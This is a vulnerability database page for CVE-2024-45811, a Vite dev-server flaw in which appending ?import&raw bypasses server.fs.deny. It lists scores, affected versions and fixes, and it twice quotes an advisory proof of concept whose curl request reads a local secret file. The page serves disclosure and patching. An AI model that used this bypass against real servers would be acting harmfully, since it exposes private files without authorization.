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CVE-2024-45811

server.fs.deny bypassed when using ?import&raw in vite

4.8 MediumFix available

Vite a frontend build tooling framework for javascript. In affected versions the contents of arbitrary files can be returned to the browser. @fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists. This issue has been patched in versions 5.4.6, 5.3.6, 5.2.14, 4.5.5, and 3.2.11. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Attack profile

How easy it is to exploit

Attack vector
Adjacent network
Complexity
High
Privileges needed
None
User interaction
Required

What an attacker can affect

Confidentiality
High
Integrity
None
Availability
None

Exploit likelihood

1.10%Up 1.1 points since Sep 18, 2024
90%50%10%1%

What each source reports

CVE List Score used 4.8

server.fs.deny bypassed when using ?import&raw in vite

Vite a frontend build tooling framework for javascript. In affected versions the contents of arbitrary files can be returned to the browser. @fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists. This issue has been patched in versions 5.4.6, 5.3.6, 5.2.14, 4.5.5, and 3.2.11. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Record
CVE-2024-45811
CVSS 3.1
4.8 MediumCVSS:3.1/AV:A/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
Weakness
CWE-200, CWE-284
Updated
2026-11-02
EUVDEUVD-2024-2759 4.8

Vite a frontend build tooling framework for javascript. In affected versions the contents of arbitrary files can be returned to the browser. @fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists. This issue has been patched in versions 5.4.6, 5.3.6, 5.2.14, 4.5.5, and 3.2.11. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Record
EUVD-2024-2759
CVSS 3.1
4.8 MediumCVSS:3.1/AV:A/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
Updated
2026-11-03
GitHub AdvisoriesGHSA-9cwx-2883-4wfx 6.9

Vite's `server.fs.deny` is bypassed when using `?import&raw`

Summary

The contents of arbitrary files can be returned to the browser.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...
Record
GHSA-9cwx-2883-4wfx
CVSS 4.0
6.9 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Weakness
CWE-200, CWE-284
Updated
2026-11-02
NVD 4.8

Vite a frontend build tooling framework for javascript. In affected versions the contents of arbitrary files can be returned to the browser. @fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists. This issue has been patched in versions 5.4.6, 5.3.6, 5.2.14, 4.5.5, and 3.2.11. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Record
CVE-2024-45811
CVSS 3.1
4.8 MediumCVSS:3.1/AV:A/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
Weakness
CWE-200, CWE-284
Updated
2026-11-02
OSV 4.8

server.fs.deny bypassed when using ?import&raw in vite

Vite a frontend build tooling framework for javascript. In affected versions the contents of arbitrary files can be returned to the browser. @fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists. This issue has been patched in versions 5.4.6, 5.3.6, 5.2.14, 4.5.5, and 3.2.11. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Record
CVE-2024-45811
CVSS 3.1
4.8 MediumCVSS:3.1/AV:A/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
Weakness
CWE-200, CWE-284
Updated
2026-11-04
OSVGHSA-9cwx-2883-4wfx 6.9

Vite's `server.fs.deny` is bypassed when using `?import&raw`

Summary

The contents of arbitrary files can be returned to the browser.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...
Record
GHSA-9cwx-2883-4wfx
CVSS 4.0
6.9 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Weakness
CWE-200, CWE-284
Updated
2026-11-02
Show 6 moreShow less
OSVCLSA-2026-1777509608 No score

TuxCare security update for vite (11 CVEs)

TuxCare rebuilt vite to address 11 CVEs. Fixed in 2.9.18-tuxcare.1.

Record
CLSA-2026-1777509608
Updated
2026-11-02
OSVCLSA-2026-1789031855 No score

TuxCare security update for vite (16 CVEs)

TuxCare rebuilt vite to address 16 CVEs. Fixed in 4.1.5-tuxcare.1.

Record
CLSA-2026-1789031855
Updated
2026-11-02
OSVCLSA-2026-1790801785 No score

TuxCare security update for vite (3 CVEs)

TuxCare rebuilt vite to address 3 CVEs. Fixed in 5.0.12-tuxcare.1.

Record
CLSA-2026-1790801785
Updated
2026-11-02
OSVCLSA-2026-1790803771 No score

TuxCare security update for vite (3 CVEs)

TuxCare rebuilt vite to address 3 CVEs. Fixed in 4.5.0-tuxcare.1.

Record
CLSA-2026-1790803771
Updated
2026-11-02
OSVCLSA-2026-1792225950 No score

TuxCare security update for @vitejs/plugin-react (11 CVEs)

TuxCare rebuilt @vitejs/plugin-react to address 11 CVEs. Fixed in 2.9.18-tuxcare.1.

Record
CLSA-2026-1792225950
Updated
2026-11-02
OSVopenSUSE-SU-2025:14663-1 No score

velociraptor-0.7.0.4.git142.862ef23-1.1 on GA media

These are all security issues fixed in the velociraptor-0.7.0.4.git142.862ef23-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2025:14663-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
vite
npm
 5.4.0 to 5.4.5
5.4.6
vite
npm
 5.3.0 to 5.3.5
5.3.6
vite
npm
 4.0.0 to 4.5.3
4.5.4
vite
npm
 through 3.2.10
3.2.11
vite
npm
 5.2.0 up to 5.2.14
5.2.14
vite
npm
 5.0.0 to 5.1.7
5.1.8
vite
TuxCare:npm
From an advisory covering 11 CVEs
 2.9.18-tuxcare.0 up to 2.9.18-tuxcare.1, plus listed versions
2.9.18
2.9.18-tuxcare.1
vite
TuxCare:npm
From an advisory covering 16 CVEs
 4.1.5-tuxcare.0 up to 4.1.5-tuxcare.1, plus listed versions
4.1.5
4.1.5-tuxcare.1
vite
TuxCare:npm
From an advisory covering 3 CVEs
 5.0.12-tuxcare.0 up to 5.0.12-tuxcare.1, plus listed versions
5.0.12
5.0.12-tuxcare.1
vite
TuxCare:npm
From an advisory covering 3 CVEs
 4.5.0-tuxcare.0 up to 4.5.0-tuxcare.1, plus listed versions
4.5.0
4.5.0-tuxcare.1
Show 7 moreShow less
Affected packages
PackageAffectedFixed
@vitejs/plugin-react
TuxCare:npm
From an advisory covering 11 CVEs
 2.9.18-tuxcare.0 up to 2.9.18-tuxcare.1, plus listed versions
2.9.18
2.9.18-tuxcare.1
vite
npm
 5.4.0 up to 5.4.6
5.4.6
vite
npm
 5.3.0 up to 5.3.6
5.3.6
vite
npm
 4.0.0 up to 4.5.4
4.5.4
vite
npm
 before 3.2.11
3.2.11
vite
npm
 5.0.0 up to 5.1.8
5.1.8
velociraptor
openSUSE:Tumbleweed
From an advisory covering 27 CVEs
 before 0.7.0.4.git142.862ef23-1.1
0.7.0.4.git142.862ef23-1.1

History

History
RecordedChangedSources
affected
factsOSV
aliasesEUVD
first indexedCVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2024-45811 is a medium vulnerability (CVSS 4.8) in Vitejs Vite, published September 17, 2024. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.10%, the 65th percentile. Fixed in vite 5.4.6.

References

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